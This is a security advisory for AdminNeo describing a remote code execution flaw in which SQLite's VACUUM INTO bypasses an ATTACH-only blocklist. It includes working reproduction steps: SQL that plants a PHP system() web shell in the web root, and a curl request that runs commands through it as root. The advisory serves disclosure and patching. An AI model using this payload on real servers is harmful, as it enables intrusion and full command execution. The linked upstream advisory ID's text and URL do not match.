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High · 7.2 CVE-2026-96630 GHSA-q5mp-gfjf-cf2j

AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

Published Oct 30, 2026 · Updated Oct 30, 2026 · Assigned by GHSA

Description

## Summary
Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)

## Root Cause
sql.inc.php, line 146:

```php
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}
```

Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

## Steps To Reproduce

### 1. Login to SQLite
1. Open AdminNeo and select driver: **SQLite**
2. Login and create a new database (e.g., `stage.db`)

### 2. Inject PHP code and write the shell

Navigate to **SQL command** and execute:

```sql
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';
```

The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it.

### 3. Execute commands

```shell
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)
```

## Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Affected packages

EcosystemPackageAffectedFixedRecord
Packagist adminneo-org/adminneo < 5.5.1 5.5.1 GHSA-q5mp-gfjf-cf2j

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